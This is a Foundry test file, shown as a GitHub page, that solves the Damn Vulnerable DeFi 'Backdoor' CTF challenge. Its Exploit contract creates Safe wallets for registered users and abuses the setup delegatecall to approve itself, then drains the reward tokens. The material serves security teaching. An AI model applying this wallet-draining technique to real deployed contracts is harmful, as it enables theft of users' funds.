forked from DeFiHackLabs/Web3-CTF-Intensive-CoLearning
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Backdoor.t.sol
155 lines (132 loc) · 6.02 KB
/
Backdoor.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
// SPDX-License-Identifier: MIT
// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
pragma solidity =0.8.25;
import {Test, console} from "forge-std/Test.sol";
import {Safe} from "@safe-global/safe-smart-account/contracts/Safe.sol";
import {SafeProxyFactory} from "@safe-global/safe-smart-account/contracts/proxies/SafeProxyFactory.sol";
import {DamnValuableToken} from "../../src/DamnValuableToken.sol";
import "safe-smart-account/contracts/proxies/IProxyCreationCallback.sol";
import {WalletRegistry} from "../../src/backdoor/WalletRegistry.sol";
contract BackdoorChallenge is Test {
address deployer = makeAddr("deployer");
address player = makeAddr("player");
address recovery = makeAddr("recovery");
address[] users = [makeAddr("alice"), makeAddr("bob"), makeAddr("charlie"), makeAddr("david")];
uint256 constant AMOUNT_TOKENS_DISTRIBUTED = 40e18;
DamnValuableToken token;
Safe singletonCopy;
SafeProxyFactory walletFactory;
WalletRegistry walletRegistry;
modifier checkSolvedByPlayer() {
vm.startPrank(player, player);
_;
vm.stopPrank();
_isSolved();
}
/**
* SETS UP CHALLENGE - DO NOT TOUCH
*/
function setUp() public {
startHoax(deployer);
// Deploy Safe copy and factory
singletonCopy = new Safe();
walletFactory = new SafeProxyFactory();
// Deploy reward token
token = new DamnValuableToken();
// Deploy the registry
walletRegistry = new WalletRegistry(address(singletonCopy), address(walletFactory), address(token), users);
// Transfer tokens to be distributed to the registry
token.transfer(address(walletRegistry), AMOUNT_TOKENS_DISTRIBUTED);
vm.stopPrank();
}
/**
* VALIDATES INITIAL CONDITIONS - DO NOT TOUCH
*/
function test_assertInitialState() public {
assertEq(walletRegistry.owner(), deployer);
assertEq(token.balanceOf(address(walletRegistry)), AMOUNT_TOKENS_DISTRIBUTED);
for (uint256 i = 0; i < users.length; i++) {
// Users are registered as beneficiaries
assertTrue(walletRegistry.beneficiaries(users[i]));
// User cannot add beneficiaries
vm.expectRevert(0x82b42900); // `Unauthorized()`
vm.prank(users[i]);
walletRegistry.addBeneficiary(users[i]);
}
}
/**
* CODE YOUR SOLUTION HERE
*/
function test_backdoor() public checkSolvedByPlayer {
Exploit exploit = new Exploit(address(singletonCopy),address(walletFactory),address(walletRegistry),address(token),recovery);
exploit.attack(users);
}
/**
* CHECKS SUCCESS CONDITIONS - DO NOT TOUCH
*/
function _isSolved() private view {
// Player must have executed a single transaction
assertEq(vm.getNonce(player), 1, "Player executed more than one tx");
for (uint256 i = 0; i < users.length; i++) {
address wallet = walletRegistry.wallets(users[i]);
// User must have registered a wallet
assertTrue(wallet != address(0), "User didn't register a wallet");
// User is no longer registered as a beneficiary
assertFalse(walletRegistry.beneficiaries(users[i]));
}
// Recovery account must own all tokens
assertEq(token.balanceOf(recovery), AMOUNT_TOKENS_DISTRIBUTED);
}
}
contract Exploit {
address private immutable singletonCopy;
address private immutable walletFactory;
address private immutable walletRegistry;
DamnValuableToken private immutable dvt;
address recovery;
constructor(
address _masterCopy,
address _walletFactory,
address _registry,
address _token,
address _recovery
) {
singletonCopy = _masterCopy;
walletFactory = _walletFactory;
walletRegistry = _registry;
dvt = DamnValuableToken(_token);
recovery = _recovery;
}
function delegateApprove(address _spender) external {
dvt.approve(_spender, 10 ether);
}
function attack(address[] memory _beneficiaries) external {
// For every registered user we'll create a wallet
for (uint256 i = 0; i < 4; i++) {
address[] memory beneficiary = new address[](1);
beneficiary[0] = _beneficiaries[i];
// Create the data that will be passed to the proxyCreated function on WalletRegistry
// The parameters correspond to the GnosisSafe::setup() contract
bytes memory _initializer = abi.encodeWithSelector(
Safe.setup.selector, // Selector for the setup() function call
beneficiary, // _owners => List of Safe owners.
1, // _threshold => Number of required confirmations for a Safe transaction.
address(this), // to => Contract address for optional delegate call.
abi.encodeWithSignature("delegateApprove(address)", address(this)), // data => Data payload for optional delegate call.
address(0), // fallbackHandler => Handler for fallback calls to this contract
0, // paymentToken => Token that should be used for the payment (0 is ETH)
0, // payment => Value that should be paid
0 // paymentReceiver => Adddress that should receive the payment (or 0 if tx.origin)
);
// Create new proxies on behalf of other users
SafeProxy _newProxy = SafeProxyFactory(walletFactory).createProxyWithCallback(
singletonCopy, // _singleton => Address of singleton contract.
_initializer, // initializer => Payload for message call sent to new proxy contract.
i, // saltNonce => Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
IProxyCreationCallback(walletRegistry) // callback => Cast walletRegistry to IProxyCreationCallback
);
//Transfer to caller
dvt.transferFrom(address(_newProxy), recovery, 10 ether);
}
}
}